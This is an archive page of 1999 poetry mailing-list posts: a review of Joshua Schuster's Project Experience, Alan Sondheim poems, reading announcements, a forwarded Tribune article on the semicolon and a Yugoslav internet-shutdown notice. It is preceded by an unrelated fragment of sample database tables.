Elizabeth Brown (Sales Representative) [Consolidate H] {Berkeley G} Jaime Yorres (Owner) [Let's Stop N Sh] {87 Polk St.} Jean Fresniere (Marketing Assis) [Mere Paillarde] {43 rue St. ?} Rene Phillips (Sales Representative) [Old World Delic] {2743 Bering?] Hari Kumar (Sales Manager) [Seven Sea Imp] {90 Wadhum?}

[p. 95], [p. 98], [p. 102]

FIRST NAME LAST NAME (ADDRESS) CITY STATE/PROV

Henry Buck (234 Rose Ave.) Pine City MN
Janet Marks (1467 Park Dr.) Colummbus [sic] MN
Sam Diego (897 Tate Road) Jackson MN
Janet Marks (1467 Park Dr.) Colummbus MN
Fran Wallace (989 Point Lane)

Jim Hopkins (503 Palm Dr.) Flag City FL

Lisa Norris
Roger Lisnet

[p. 97]

REPLACE: WITH:

liuke like
liveing living
loev love
lonly lonely

makeing making
mkae make

[p. 133]

PLACE TAKEN (PhotoLocationID)

Chateau d'Eau
Notre Dame
Louvre
Arch of Stars
Eiffel Tower
Mt. McKinley
Peak Lake
Sunrise Ridge
Eskimo Hill
Ridgeville Valley
Cane Patchy
Little Village
Island Greenville
Palm Grove
Cane Farm
Cologne, Germany
Berlin, Germany

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- TITLE

Mark Taylor - President
Jim Pyles - Vice President
Cheryl Mealer - Secretary
Earl Todd - Treasurer

[p. 200]

Anne Cadrow
Beth Kelley
Harry Pollent
Laura Samuels
Mike Linderson
Neil Thompson
Pamela Bening
Pat Harmond

↑ Index

141. Kristen Gallagher
Re: Journal jottings [Project Experience]
Wed 12 May 1999

Thanks, Kent, for this great acknowledgement of a great book. i fear in the flurry of glut of which i am now part no one will notice it. josh schuster's book is indeed a rare gem.

> *Kristen Gallagher put up a notice on Josh Schuster's odd and brilliant first book the other day. I thought I'd go ahead and share some jottings I'd been doing on it, stream-of-consciousness as they be.*
>
> *_Project Experience: Museums, Archives, Monuments, Bureaus_, by Joshua Schuster [Philadelphia: Handwritten Press, 1999] (order: Kristen Gallagher, 3805 Locust Walk, Philadelphia, PA 19104)*
>
> *--"The archive is an ear."*
>
> *Fifty pages, bound in the shape of a blue passport from the State of Approval, as the cover has it. Kristen Gallagher, currently of the U. of Pennsylvania Writer's House and soon of SUNY/Buffalo, has curated these documents, handed to her by one Joshua Schuster. May her Handwritten Press make as many beautiful, passport-sized books as there are countries in the world.*
>
> *Is this Schuster's passport into our State or our passport into his?*
>
> *Scripted question. But it's not clear who is speaking. The Museums and Archives, Monuments and Bureaus, in a kind of Foucauldian play on the pathetic fallacy, speak at us, though sometimes, too, an "I" interrupts, and sometimes a kind of narrator, like the guide on the headset in the museum or like a person talking to himself. But this confusion of authority is part the point, isn't it, for it's much of the truth of our current state. Our Institutions _do_ speak, are outside and inside us at the same moment, and when we speak we speak them and they speak us. Thus who is listening as a question we need to listen to. Scripted sentence. Boring Belgrade rubble replaced by grieving American students. F-16's in formation, majestic over teacher's funeral. Commercial for Lockheed, joyous child holding paper airplane aloft. Let us pray. Must teach Our children that violence is not the answer, says teary President inside of us, making heads nod. How surprising to the refugee when she sees the saplings shiver their leaves inside the transparent torso of the border guard. Now give me your archives and go to NATO, he says, if you love them so much. On page 27:*

You are the sum of your storages: organs
of memory, organs of the morning, organs
of waiting, organs of identity. To tend the
archive is a kind of organology.

A bit Jabes in its aphoristic proceeding, a bit Popa in its mythic
charge, a bit Simic in its cobbling of surreal miniatures, a bit
Palmer in its hieratic namings, a bit Museum of Jurassic
Technology--the whole book--in its wunderkammer (sp?) feel, its
oscillations between the true and the not and the third thing that is
then thrown into thought, though who knows what name that third thing
has (something expiring between the tip of the tongue and the top of
the teeth, I think, when we make the sound of the). Scripted
sentence. Schuster scratching at it, page 16:

The kingdom is sustained by three things:
the kingdom of broken secrets, the king-
dom of splitting images, and the kingdom
of the expiration of meaning--but the
kingdom of a bird on a leash transcends
them all.

Sustenance is sustained by three things:
the sustenance of pollution, the sustenance
of hiding as a way of seeking, and the
sustenance of a thought that consumes
itself--but the sustenance of your mouth
left over in my mouth transcends them all.

Three things are sustained by three things:
the three sides of the body, the three
seconds in between in each breath, and the
three rings around one's eyes--but the
three names in your face transcend them all.

It is the size of Mao's Little Red book, but blue. Remember once, in
the late 70's, I worked with a guy on a demonstration in Milwaukee to
protest First Wisconsin Bank stock holdings in South Africa. For some
reason I thought he was a Mennonite, but he turned out to be a member
of the Revolutionary Communist Party! How surprising that soon whole
cities will be a thousand feet underwater. Scripted sentence.
Museums, archives, monuments, and bureaus, in slow dissolve beneath a
giant lake. Mao, great conceptual artist in his embalmed body.
Stalinism with a neo-liberal skull. Humanitarian bombs to bring home
refugees fleeing blind rage same bombs inflamed. Supreme Allied
Commander on verge of Star Wars prequel proposing to laser-torch
Russian ships. Let us pray. Well-meaning poets wringing hands. What

can we do?

You convince the doctor you are sick to enter this archive. Why don't they just let me in, you ask yourself, since it's obvious you are ill? Ill to whom? Your illness is a kind of _argument_. The doctor is full of belief, in that he doesn't believe you. Who should believe you? After all, you wear your illness like a badge, a patch of identity, like you are in the army of the sick. But you have a family to take care of, a family of illnesses. You deserve to be in these archives.

It is so natural to be inside the archives. Poets too, surely, sick unto death, deserve entry. Let us in. Come into us. It's not that we mean to rebel too much-- just want to expand the range of language, the range of the transgressively erotic, lend a bit of magic to the world. And yes, please, we'd like our names in the museum too. I wring my hands all the time. Scripted sentence. Bureaucrat's heart, feigning difference. And how surprising, after all, when you pick up a first book by someone 21 and finds hands opened out into this:

An audience of heads, one mound after another.

A smouldering mound: a pile of black burnt dirt constantly giving off smoke to be placed in front of any structure which was burned down.

A temple is burned down. One does not clear it away, but let it remain in its remains. This is now the holy place, a place of unplacement, a burned and charred temple to remain standing still burning in the minds which live among it. _That mound, there, it is breathing._

The thought mounds up.

(idea for ending review): In an age of pixels, electronic and poetic, where "religion is merely the bomber exploding with his bomb," Schuster's book a little document of compassionate thought that mounds up-- a listening and thinking that "curls the air and folds it into words," a little charm, at least for a spell, against the archive's siren song. If you collect small and fleeting things,

> *whose meanings build and build, get this passport. Offer it,*
> *willingly, to the border guard inside you.*

↑ Index

142. Mariah Corrigan
Leslie Fiedler/Simone Weil
Wed 12 May 1999

Hello out there. Can anyone tell me what Leslie Fiedler's email (or other) address might perhaps be? I'm organizing a conference for Columbia U on Simone's work and need to reach him asap.

Many thanks and reply to Mariah Corrigan at [redacted]

↑ Index

143. Alan Sondheim
Steering Mechanism
Wed 12 May 1999

/

Steering Mechanism

as if the internet text could be salvaged
http://www.anu.edu.au/english/internet_txt swollen, tumescent,
there might be a cancer in the making -
L saw it as autobio - I find pushing myself into virtual life,
swollen, tumescent, evil membrane tissues suppurated
on the other side -
there are always splits in the real - death, taxes, love -
garnered across continents or oceans - cells fall through, out -
you can't make a message with steerage -
you can't steer the way texts veer with their theory carried, wounded -
operations bring the body home, suturing each and every -
I've Jennifer, Julu, Alan, Nikuko in my stomach -
they're crawling, clawing - they're retching into skins of vomit -
they stick their fingers into me - fingers into fingers -
maybe they're typing this - salvage the fury, savage the writing -
their mouths go out my holes - muffled - looking for the sign -
the steering mechanism for each and every letter, word, phrase,
sentence, paragraph, text toppling over text -
blood count healthy - cholesterol healthy - EKG healthy -
no hepatitis b or c - no AIDS - temperature normal -
numbers within acceptable limits, within bandwidth and protocol -

quantitative attributes, reductive phenomenologies of the body -
underdeterminations of explanations - leaking autobio -
theory at the fringe - diffraction-theory - it's a written future -
can't give you numbers, tell you the truth - the salvage-work -
future's always underdetermined - even when it's here

↑ Index

144. Susan M. Schultz
Invitation to a Thought Experiment
Wed 12 May 1999

Dear poetics kine folks--

I direct, though that is hardly the word, a creative writing program that is in exquisite need of re-thinking. So I'll share my thought experiment with you: You are assigned the task of running a creative writing program. What would you do? What functions would you assign to the program? What kinds of courses would you teach? What should faculty do _aside from_ teaching their courses? (I have ideas of my own, but am eager to see what some of the rest of you come up with.)

Two provisos: You are given no money and you are dealing with a group of people that doesn't work together well and doesn't welcome change.

But really, please dream on...the more positive the better!

best, Susan Schultz

↑ Index

145. Katherine Lederer
E X P L O S I V E M A G A Z I N E # 7
Thu 13 May 1999

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Thanks.

↑ Index

146. **Alan Sondheim**

2 which bear repeating (fwd)

Thu 13 May 1999

---

2 which bear repeating in lieu of the times

1.

Inside the mother-father
The baby turns -
Screaming and dying,
Its body burns -

Flames leap from its fingers,
Father-mother lies dead -
Flames leap from its eyelids,
Eyes burn in its head -

Mother-father cries, rising.
The babe turns around,
In anger strikes out -
Bones fall to the ground -

Father-mother falls, crying -
The babe once so rash
Kills its tormenter -
The body's in ash -

Dust falling and rising,
And parents and child,
Still burn within daily -
Their cries are defiled -

Dust rising and falling,
None shall atone.
The baby still turning,
Dies daily, alone -

2.

Help the burned and wounded child,
The infant drowned or injured mother,
The open wide-eyed girl defiled,
The sister murdered by her brother,
The scalded boy, the father's hate,
The mother's knife and tortured skin,
The sex of death, the young girl's fate,
The battered boy, his life of sin,
The blinded babe, the woman's rage,
The body bruised with leather strap,
The mother old beyond her age,
The daughter's jeers, the father's slap.

↑ Index

147. Linda V Russo

SPT Re:reads the New American Poetry / Small Press Traffic

Thu 13 May 1999

This event sounds spectacular.
Would someone please consider posting a report on it?

Thanks in advance,
Linda Russo

↑ Index

148. L. MacMahon and T.R. Healy

Shearsman 39 apologies for cross posting

Thu 13 May 1999

The latest Shearsman, no. 39, landed on my doormat this morning. It opens with an engaging 90 line poem by Ken Bolton, called, simply, _poem_ and is dedicated to Martin Munz. The pretext for the poem is fairly slender, the poet is walking along the street wearing a leather jacket and carrying presents for

some children, thinking of this and that and people he talked to. Contrasts between modernity and the past hold it together pretty well, the 90 lines themselves suggestive of the brightly lit present tense of the poem beginning to trail behind time's arrow. quote

Its scale is increasingly
and loveably inappropriate
to North Terrace, as it modernizes

and the lion seems small
earnest, and straghtforward.
And the sky looks great beyond it.

I have chocolate frogs
for Becky and Julie

unquote

A three part poem, _Touring Vienna_, by Karin Lessing follows. The first section is interestingly mysterious, particularly for me since I know little German and it mixes said language with English. Second two is a change of pace, a close up description of a photo Sigmund Freud with Oskar Nemon and a dog. The witty literal passes into the psychological half way through, thereby drawing a witty enough comparison, quote

the sculpture, the clay head, the model
and the model's pet dog
form a spiral, a
whorl
from which the dog alone
looks beyond the self-contained scene
intent with listening
the sculptor is in profile
his stance as in a frieze
where offerings are presented
to rulers or to the gods -
but the portrait, its
inward gaze,
is for us

incurable, prodigal
economy of love

unquote

Perhaps the dog was on loan from Pavolv. Section three is more elegiac, ending very abruptly. Very effective.

Next is Geoffrey Squires' _UNTITLED POEM_ which he read at the recent conference in Cork. It opens with long rhythms, the acoustics uppermost since the visual referents are deliberately indeterminate.
quote
that move sometimes and are sometimes still
what they are each one only what it is
this or because

..*

Ahead of itself in advance of itself
as always as usual

unquote

After a page and a half of this the simple description "A small wood a copse / at the bend in the river / between green fields /" is lent a surprising amount of drama. Read this one aloud, moderato, with feeling, but not too much. As it happens, I've found myself reading a lot of Squires recently. It becomes quite addictive. I think what I like about it is that it takes you somewhere quite different but you don't know where.

Then there's Charles Hadfield's two poems, the first being, _Stepping Stones_
quote

The streets whisper
where ghosts walk

lizards flicker up the walls,
these piles of stone all that remain.

unquote

I find the sound patterning -- whisper/lizards/flicker, and ghosts/stone, walk/walls/piles/all -- combined with the high definition visuals pretty exciting. And like the lizard, the poems flickers along its way, as it broadens out giving a sense of the poet's struggle, he being half way up the wall himself.

I'd better get on and start the dinner. Probably better not to show all the goodies at once anyway.

Poems too by Martin Anderson, Peter de Rous and David Heminway. Not to mention two pages of useful notes on "books acquired, received and otherwise notable." Excellent magazine, beautifully produced, and at a price scarcely merits the name.

Available from Tony Frazer, 47 Dayton Close, Plymouth PL6 5DX, England or from Peter Riley (Books), 27 Sturton Street, Cambridge, CB1 2QG England, email [redacted] "price" £1.50

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm

↑ Index

149. BETSY ANDREWS
summer sublet
Thu 13 May 1999

I'm off to Yemen for two months, so I'm subletting my improbably spacious Prospect Heights, Brooklyn apartment for July and August (or, better yet, July 8-August 30). It's $925 a month pro-rated and, if I don't know you, I'd like a security deposit.

Seven fabulously appointed, sunny, quiet rooms astonishingly close to transportation, the Brooklyn Museum, the botanical gardens and the park. Jump on it now, folks. It won''t last.

↑ Index

150. Jacques Debrot
Re: Poetry: telic or not
Thu 13 May 1999

In a message dated 5/13/99 11:10:03 AM, [redacted], quoting George Lakoff, writes:

<<"The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end.">>

This is extremely interesting. But one of the difficulties here, in respect of poetry, seems to me precisely one of "sufficiency of scale." Nor is disruption something diametrically opposed to violence & destruction obviously -- the

problem it seems to me is rather that, at a time when the history of art is *arguably* over, & the most extreme aesthetic violence -- Artaud's say -- is merely a "style" that one cannot avoid "quoting" (the problem for example -- despite it's brilliance -- with Novarina's work) can art really be said to have retained a capacity for disruption? In the essay that precipitated J. Lowther's & R. Prunty's posts to the List, S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" since it is not, I don't think, the sort of Antinomian practice that, for instance, David Bromige seems to imply it is.

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151. Poetry Project
Situations Book Party
Thu 13 May 1999

BOOK PARTY

for the latest publications from Situations Press

Wrackline by Daniel Bouchard

City of Ports by Marcella Durand

14 Knots by Joe Elliot

Hemisphere's Planetarium Petals by Kimberly Lyons

Elastic Latitude by Richard O'Russa

Slush by Marshall Reese

on Thursday, May 27th, 6-8 pm
Granary Books
568 Broadway, #403

*****

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152. Carol L. Hamshaw
NATO and the Internet
Thu 13 May 1999

> *-------- Original Message --------*
> *Subject: [aman-disc] US shuts down Yugoslav Internet - For immediate release*
> *Date: Wed, 12 May 1999 14:16:45 GMT*
>
> *Dear sirs,*
>
> *We have reliable information that the US Government ordered Loral Orion company to shut down its satellite feeds for Internet customers in Yugoslavia.*
>
> *This action might be taken as soon as later tonight or tomorrow (May 12 or 13, 1999).*
>
> *This is a flagrant violation of commercial contracts with Yugoslav ISPs, as well as an attack on freedom of the Internet.*
>
> *A Web site in protest of these actions should be up shortly. We will supply you with the URL. In the meantime, please be so kind to inform as many people as possible about this tragic event for the Internet community in Yugoslavia and Europe.*
>
> *Kind regards,*
> *BeoNET*
> *Belgrade, Yugoslavia*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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153. Stephen Cope
(no subject)
Fri 14 May 1999

* ATTENTION *

Beyond the Page continues its ongoing series of poetry and arts related events with a reading by STEPHEN RADCLIFFE and MARTHA RONK

Where: Faultline Theater, 3152 5th Avenue (at Spruce) San Diego.

When: Sunday, May 23. 4:00 PM

Info: [redacted] or [redacted] or e-mail [redacted] or [redacted].

Else: A small donation is requested at the door. Refreshments are available for a donation.

****

STEPHEN RATCLIFFE was born in Boston and raised in the San Francisco Bay area since the age of four. He attended UC Berkeley where he received both a BA and PhD and was awarded a Stegner poetry fellowship at Stanford. He now teaches at Mills College and is the chair of English Department. Ratcliffe is the editor/publisher of Avenue B (books) and has a collection of essays on 'experimental' poetry, _Listening to Reading_, forthcoming on SUNY Press as well as a book of poems, _SOUND/ (system)_ on Sun & Moon Press. His books include: _Mallarme: poem in prose_ (Santa Barbara Review Publications, 1998), _Sculpture_,(Los Angeles: Littoral Books, 1996), and many others.

MARTHA RONK has published two recent chapbooks, _Emblems_ and _Allegories_, and four books of poetry: _Desire in LA_ from Georgia University Press, _Desert Geometries_ from Littoral Books, _State of Mind_ from Sun & Moon Press, and _Eyetrouble_ from Georgia University Press. Forthcoming is a fictional autobiography, _Displeasures of the Table_ on Sun & Moon Press. She is a professor of literature at Occidental College.

****

Beyond the Page is proud to continue its monthly series with this reading. BTP is an independent arts group dedicated to the promotion of experimental and/or explorative work in the arts.

↑ Index

154. Todd Baron /*/ ReMap Readers

Re: hey whitmaniacs

Fri 14 May 1999

---

juliana spahr wrote:
>
> Any one out there know the citation for that passage where Whitman talks
> about how great American English is b/c it is put together of all
> different languages/influences?
>
> Or the Webster one?

the AMERICAN PRIMER contains Whitman's thoughts on the American language--though references to language itself abound--as the poem does--

Leaves--the INTRO to the 1855 edition also. City Lights published the American Primer in the 70's. I believe it still does. Oddly enough, the American Library neglected to include this tome in the "collected" works.

Todd Baron

↑ Index

155. Brian Stefans
What does Mr. Pound believe?
Fri 14 May 1999

I can't remember where this quote from T.S. Eliot on Pound occurs. I reread the "His Style and Metrics" essay and the introduction to the Literary Essays, but no luck, and the Carpenter bio is too long, with a terrific but unwieldy index. I need it for a paper I'm working on.

Thanks!

↑ Index

156. Brian Stefans
Bruce Andrews and Brian Kim Stefans Reading
Fri 14 May 1999

PULL MY DAISYTRAIN PULL MY DAISYCHAIN PULL MY DAISYTRAIN PULL MY

Readings @Clovis Press

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Friday May 21

BRIAN KIM STEFANS' books include Free Space Comix (Roof), Gulf (Poetscoop/Object) and, with Sianne Ngai, "The Cosmopolitans" (Tripwire). He also edits Arras (http://www.bway.net/~arras).

BRUCE ANDREWS, besides performing his notorious live editing of poems and mixing of prerecorded vocal sounds in collaboration with the solo dance

improvisation of dancer/choreographer Sally Silvers, is the author of such noted books as Love Songs, and I Don't Have Any Paper So Shut Up (Or, Social Romanticism). A new book Designated Heartbeat from Sun & Moon is due soon. The just-released AERIAL Andrews issue will be available for purchase day of the reading.

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157. rob wilson
oh sublime semi-colon, yr history haunts me
Fri 14 May 1999

---------- Forwarded message ----------
Date: Fri, 14 May 1999 03:19:27 -1000
From: [redacted]
To: [redacted]
Subject: Forwarded article: SECRETS OF THE SEMICOLON

The following article was selected from the Internet Edition of the Chicago Tribune. To visit the site, point your browser to http://chicagotribune.com/. This special e-mail feature is brought to you by First Chicago.

---------- Chicago Tribune Article Forwarding----------

Article forwarded by: rob wilson

Return email: [redacted]

---Forwarded article----------
SECRETS OF THE SEMICOLON

By Julia Keller

Weep not for the semicolon; its time has come 'round at last.

Once dismissed as a fussy, somewhat effete affectation, the white-gloved cousin to the callused, workaholic comma or brutally abrupt period, the semicolon may be coming into its own.

Most people, truth to tell, still seem somewhat intimidated by the semicolon; it smacks of deep thoughts and book-lined studies, of long, thoughtful pauses accompanied by rhythmic strokes of the chin. The marks are "so pipe-smokingly Indo-European," essayist Nicholson Baker once wrote.

Hence semicolons historically were deftly avoided. They were the fine china of the punctuation world, when plastic forks would do.

"I've never really gotten comfortable with semicolons," admitted Harold Hirshman, an attorney with Sonnenschein Noth & Rosenthal. "If anything, I'm a comma person."

But if Hirshman wants to be hip, he'll have to start adorning his correspondence with semicolons, those little dot-and-fishtail concoctions that endow sentences with emotional nuance as well as serve a grammatical task.

"Wit," the play by Margaret Edson that won the Pulitzer Prize for drama last month, feature a semicolon as a major plot point; a semicolon also figures in newspaper ads for the play, as the mark replaces the second letter of the title. Semicolons also have come to figure prominently in the newest of writing genres, e-mail correspondence; they serve as what Baker calls "emotional punctuation." A semicolon is an essential component in the wink or smirk: ;-).

A semicolon reference in the season finale of "Sports Night," the critically acclaimed ABC sitcom -- "Why don't we use semicolons anymore?" the producer Dana (Felicity Huffman) asks her staff -- is further proof that semicolons are hot stuff; they bristle with buzz. (The only speed bump encountered by the semicolon bandwagon was a story in a recent New York Times Sunday Magazine, in which Alberto Manguel called the period the best punctuation mark of the millennium. The period is, he said unconvincingly, "the unsung legislator of our writing system.")

Among punctuation marks, the semicolon is a relative latecomer, lagging behind the comma, colon and period, most linguists agree. Of course, punctuation itself did not become a standard part of written discourse until the late 18th Century. Composition had been a haphazard enterprise at best, with writers employing punctuation marks when and how they chose.(Spelling, too, was a matter of personal whim -- and for some, of course, it still is.) In the earliest writing of which we have samples, words weren't separated at all; everything was jammed together in a long, confusing string, said Andrea Lunsford, English professor at Ohio State University.

Rudimentary punctuation marks (whose look, function and placement bore little relation to contemporary punctuation) were employed by Greek and Roman writers. The first time a semicolon seems to have appeared -- scholars still disagree, hence the hedging -- is in a 9th Century Greek text. Those primitive

semicolons, however, were inverted; the comma part was on top and the period part on the bottom.

The semicolon first appeared in English writing in about 1560, according to Paul Bruthiaux in his 1995 article in Applied Linguistics magazine, "The Rise and Fall of the Semicolon."

Semicolons showed up in a 1609 edition of Shakespeare's sonnets; ditto for a 1612 edition of John Donne's works. By the late 18th Century, Bruthiaux wrote, the semicolon had been accepted by British and European writers. (Some holdouts remained, then and now; Antaole France, a 19th Century critic, called the semicolon "a symptom of mental weakness." Twentieth Century writer Donald Barthelme said a semicolon was "ugly, ugly as a tick on a dog's belly.")

Semicolons function several ways in sentences. They can divide coordinate clauses that are complete in themselves; they can replace commas, indicating a longer pause; they can separate items in a list.

However, the way we feel about a punctuation mark may be almost as important as its grammatical task. As Mina Shaughnessy, a leading composition theorist, has written, "Punctuation marks produce different psychological effects -- on the writer as well as the reader." The semicolon is a mighty punctuation mark, she believes, because it "has the linking power of a comma and the terminating authority of a period."

Yet to most readers, semicolons are imbued with a decidedly languid, late-afternoon feel; when semicolons are present, you can almost hear the elegant china cup clink as it is gently replaced in the saucer. Gender stereotypes also come into play; semicolons seem most closely associated with the florid, emotional writing often ascribed to women rather than the spare, chiseled prose with which men generally are credited.

Geoffrey Nunberg, principal scientist at Xerox Palo Alto Research Center and a linguistics professor at Stanford University, confirmed that the semicolon's reputation is a bit, well, flighty and frivolous, more closely aligned to, say, taffeta-bedecked debutantes than to leather-jacketed bomber pilots.

"People seem to feel it's the icing on the cake -- a nice mark to have around, but the nation won't fall if students lose their grip on it," he said. Conversely, the comma is "a nuts-and-bolts mark."

Semicolons, however, are much more than a frill to Nunberg; he has spent the better part of a decade studying them. In fact, practical applications for these researches are already popping up, he noted: "Most of the computational applications and systems that we are developing have to deal with the language of written texts, and a systematic grammar of punctuation is crucial. A lot of the

serious linguistic work on punctuation has come from people in computational linguistics."

Punctuation can sound boring because, typically, it is dealt with in a dull handbook in English class, in which it is reduced to a set of grim rules. In a 1990 article in The Antioch Review, Theodor W. Adorno called punctuation "traffic signals." How poetic is that?

It required linguists such as Nunberg and his colleagues to reveal the beauty and mystery of punctuation marks, to awaken us to the subtle emotional and psychological distinction of semicolon use.

"The semicolon seems to be reserved now for certain kinds of highbrow and high-middlebrow writing," Nunberg said. "You find them in The New Republic but not in USA Today, in academic histories but not in celebrity bios. There's a sense that the mark presupposes a reader with time on his or her hands and a comfortable chair to sit in."

Traditionally, students have been a bit intimidated by the semicolon, said Judith Gardiner, an English professor at the University of Illinois at Chicago. "They tend not to use it. It's designed for relatively complicated thoughts and sentences. The tendency is to want to be short and snappy, to come to the point."

Ah, but for adventurous students, the semicolon has become an irresistible challenge, she said. Compared with the bungee-jump of attempting a semicolon, employing a comma packs all the adrenalin rush of stepping off a curb when you have a "Walk" light. "Students who do use the semicolon tend to know what they're doing," Gardiner said.

That confidence in semicolon deployment increasingly is visible even at the high school level, said several English teachers. Sara Garnes, a linguist at Ohio State University who confers often with secondary-school teachers, contended that semicolons bring a sense of panache to the presumably staid, boring world of punctuation. Thrill-seeking students may have figured out that semicolons are a quick way to perk up one's tired old term paper, to add an instant patina of class.

Legal writing, with its reputation for labyrinthine circumlocution, would seem to be rife with semicolons. Yet that's only half true, Hirshman said. In writing about litigation, the marks are virtually nonexistent: "The idea is to keep it simple. You're writing about history -- what happened and who's to blame."

Contracts, however, the other kind of legal writing, surge with semicolons: "You're trying to hedge or clarify some statement and you don't want the confusion of moving it to another sentence. Contracts are about the future -- it's trying to control the future with words."

Nowhere is the distinction between the comma and semicolon rendered with more poignance than in the climax of "Wit." Vivian, the protagonist who is dying of ovarian cancer, recalls a pivotal confrontation in her college days, when a crusty scholar chides her for using a second-rate edition of Donne's holy sonnets. In the corrupt copy, the final sentence of his famous sonnet on death ("And death shall be no more, Death thou shalt die") appears with a semicolon instead of a comma.

Vivian remembers the professor's lesson:

"Nothing but a breath -- a comma -- separates life from life everlasting. It is very simple, really. With the original punctuation restored, death is no longer something to act out on a stage. . . . This way, this uncompromising way, one learns something from this poem, wouldn't you say? Life, death. Soul, God. Past, present. Not insuperable barriers, not semicolons, just a comma."

Some do, some don't; some will, some won't. A writer's decision about semicolon use is intensely personal:

Semicolon users

Virginia Woolf

"It gave to everything the exact measure of colour; to the sandhills their innumerable glitter, to the wild grasses their glancing green; or it fell upon the arid waste of the desert, here wind-scourged into furrows, here swept into desert cairns, here sprinkled with dark-green jungle-trees."

- "The Waves"

George Eliot

"For the most glutinously indefinite minds enclose some hard grains of habit; and a man has been seen lax about all his own interests except the retention of his snuff-box, concerning which he was watchful, suspicious, and greedy of clutch."

- "Middlemarch"

John Milton

"We shall be wary, therefore, what persecution we raise against the living labors of public men, how we spill that seasoned life of man preserved and stored up in books; since we see a kind of homicide may be committed, sometimes a martyrdom; and if it extended to the whole impression, a kind of massacre, whereof the execution ends not in the slaying of an elemental life, but strikes at that ethereal and fifth essence, the breath of reason itself, slays an immortality rather than a life."

- "Areopagitca"

Semicolon eschewers

Ernest Hemingway

"As a matter of fact, supper was a pleasant meal. Brett wore a black, sleeveless evening dress. She looked quite beautiful. Mike acted as though nothing had happened. I had to go up and bring Robert Cohn down."

- "The Sun Also Rises"

Joan Didion

"Late that night sitting alone in the dark by the pool she remembered whose house it had been out off San Vicente with the Japanese food, it had been the house of a couple named Sidney and Ruth Loomis. Sidney Loomis was a television writer and Ruth Loomis was very active in the civil-rights movement and group therapy."

- "Play It As It Lays"

John Steinbeck

"Then it was June, and the sun shone more fiercely. The brown lines on the corn leaves widened and moved in on the central ribs. The weeds frayed and edged back toward their roots."

- "The Grapes of Wrath"

↑ Index

158. Cassandra Laity

Brit/Irish Seminar

Fri 14 May 1999

Date: 14-May-1999 12:46pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Brit/Irish Seminar

Date: 05-May-1999 03:04pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Brit/Irish Seminar

This is a call for sign-ups for a seminar on the shift in British (and Irish) cultural/poetic identity from modern to contemporary. The seminar which is to be led by Nancy K. Gish with invited participants Francis McGrath and Romana Huk--"Provincial to European: Constructing British Modernisms"--will take place at the "New Modernisms" conference, Oct. 7-10, 1999 at Penn State (University Park).

Description: How has political and poetic devolution in contemporary Britian challenged, displaced, or reconceptualized "English Literary Modernism" constructed as Eliot's continuation of "the mind of Europe?"

Seminars are small group discussions (of no more than 15) based on short (5-10 page) papers. For more information on how to sign up for the seminar or on the "New Modernisms" conference, contact me privately ([redacted]).

Cassandra Laity
On behalf of the steering committee

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159. Poetry Project
next week
Fri 14 May 1999

On the horizon next week:

Monday, May 17 at 8 pm

Mary Burger & Rosa Alcala

Mary Burger's chapbook, Nature's Maw Gives and Gives, is forthcoming, or actually may be out by Monday from Duration Press. Inspired by Flamenco text and tradition, Rosa Alcala is the recipient of the Galway Kinnell Award in Poetry.

Wednesday, May 19th at 8 pm

change of readers*

Catriona Strang & Deidre Kovacs (Nanos Valaoritis has cancelled)

Catriona Strang's most recent publication is Steep from Seeing Eye Books. Deidre Kovacs is the editor of Big Allis, and her first book, Mannerism, will be out around the turn of the millenium.

No more Friday readings until October!! Tonight is the last one of the season: a reading by BIG BRIDGE contributors Bernadette Mayer, Phil Good, Wanda

Phipps, Merry Fortune, Sharon Mesmer, Carl Watson and more, with a post-reading party. It all starts at 10:30 pm.

Visit our website at http://www.poetryproject.com

"From Archaeology
one moral, at least, may be drawn,
to wit, that all

our school text-books lie.
What they call History
is nothing to vaunt of,

being made, as it is,
by the criminal in us:
goodness is timeless."

--W.H.Auden Archaeology: Coda

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160. James Brook
TWO LINES reading in San Francisco
Fri 14 May 1999

For anyone who might be in San Francisco and at loose ends (rode the cable car, bought the T-shirt) Thursday evening, I'll be reading from a little-known book by Henri Michaux, Still the Two of Us. Other readers will offer other treats. . . .

--James Brook

*

Two Lines - A Journal of Translation is hosting a reading and publication party featuring world literature in translation from Fire, the 1999 issue. This event is cosponsored by PEN West.

Thursday, May 20, 1999, at 7:00 p.m.

The Hotel Rex Salon
562 Sutter Street
(between Powell & Mason, near Union Square)

For more information, see http://www.twolines.com.

Readers include--

James Brook, Henri Michaux's "Still the Two of Us" (French)

Sasha Vlad & Zack Rogow, Gellu Naum's "Heraclitus" (Romanian)

John Oliver Simon, Mirko Lauer's "Survival: Eight Stanzas of Commentary on the Words of the Buddha" (Spanish)

Elizabeth Bell, "Commitments," written by Parents & Teachers of Tierra y Libertad, Chiapas (Spanish)

L. R. Kiyama, Saigyo's "On Seeing a Painting of Hell" (Japanese)

Michael Koch, Francisco Hernandez's "Fire Signs" (Spanish)

Sam Grolmes & Yumiko Tsumura, Poetry by Ryuichi Tamura (Japanese)

Jen Hofer, Beatriz Escalante's "Immortality Spell" (Spanish)

*

To order the Fire issue, send $11.00 plus $2.00 shipping (California residents add 8.5% sales tax) to

Two Lines
P. O. Box 641978
San Francisco, CA 94164-1978

See the Web site at http://www.twolines.com

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161. Tom Orange
CBC Radio interview with Robert Pinsky
Fri 14 May 1999

